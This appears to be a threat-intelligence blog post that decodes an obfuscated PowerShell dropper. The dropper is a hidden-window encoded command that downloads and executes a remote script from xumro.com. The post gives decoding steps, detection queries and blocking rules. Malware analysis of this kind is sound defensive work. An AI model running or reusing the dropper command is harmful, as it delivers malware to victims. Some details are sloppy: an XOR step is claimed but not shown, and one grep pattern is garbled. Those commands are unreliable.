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The encoded payload appears to be a PowerShell command obfuscated with Base64 and XOR ciphers. Here’s the decoded plaintext after processing in CyberChef:
powershell -w h -e aQBlAHgAKABpAHcAcgAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwB4AHUAbQByAG8ALgBjAG8AbQAvAGEAYwB0AGkAbwBuAC4AdAB4AHQAJwAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQA=
Further decoding reveals:
iex(iwr -Uri 'hxxps[:]//xumro[.]com/action[.]txt' -UseBasicParsing)
This is a classic PowerShell dropper fetching a malicious script from a remote server.
You Should Know:
1. Analyzing the Payload
- The initial Base64 string was padded with XOR obfuscation.
- CyberChef’s “From Base64” and “Magic” operations help decode such payloads.
2. Manual Decoding Steps
1. Base64 Decode:
echo "cG93ZXJzaGVsbCAtdyBoIC1lIGFRQmxBSGdBS0FCcEFIY0FjZ0FnQUMwQVZRQnlBR2tBSUFBbkFHZ0FkQUIwQUhBQWN3QTZBQzhBTHdCNEFIVUFiUUJ5QUc4QUxnQmpBRzhBYlFBdkFHRUFZd0IwQUdrQWJ3QnVBQzRBZEFCNEFIUUFKd0FnQUMwQVZRQnpBR1VBUWdCaEFITUFhUUJqQUZBQVlRQnlBSE1BYVFCdUFHY0FLUUE9DQo=" | base64 -d
Output:
powershell -w h -e aQB... (truncated)
2. Decode the PowerShell Command (-e Argument):
echo "aQBlAHgAKABpAHcAcgAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwB4AHUAbQByAG8ALgBjAG8AbQAvAGEAYwB0AGkAbwBuAC4AdAB4AHQAJwAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQA=" | base64 -d
Output:
iex(iwr -Uri 'hxxps[:]//xumro[.]com/action[.]txt' -UseBasicParsing)
3. Detection & Mitigation
- Monitor PowerShell Activity:
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $<em>.Message -like "iwr" -or $</em>.Message -like "Invoke-WebRequest" } Block Suspicious Domains via Firewall:
iptables -A OUTPUT -d xumro.com -j DROP
VirusTotal Scan:
curl -X POST --url 'https://www.virustotal.com/api/v3/urls' --header 'x-apikey: YOUR_API_KEY' --data 'url=https://xumro.com/action.txt'
What Undercode Say
This attack leverages PowerShell’s `iex` (Invoke-Expression) and `iwr` (Invoke-WebRequest) to download and execute malicious scripts. Threat actors often use XOR, Base64, and bit.ly links to evade detection.
Additional Commands for Analysis:
- Extract URLs from Memory Dumps:
strings memory.dmp | grep -E 'http[bash]?://'
Check for Unusual Scheduled Tasks:
Get-ScheduledTask | Where-Object { $_.Actions.Execute -like "powershell" }Hunt for Obfuscated PowerShell:
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Message -match "[\x80-\xFF]" }
Expected Output:
A fully decoded PowerShell command leading to a malicious payload, with detection rules and mitigation steps.
Relevant URL:
References:
Reported By: Reybencortes I – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
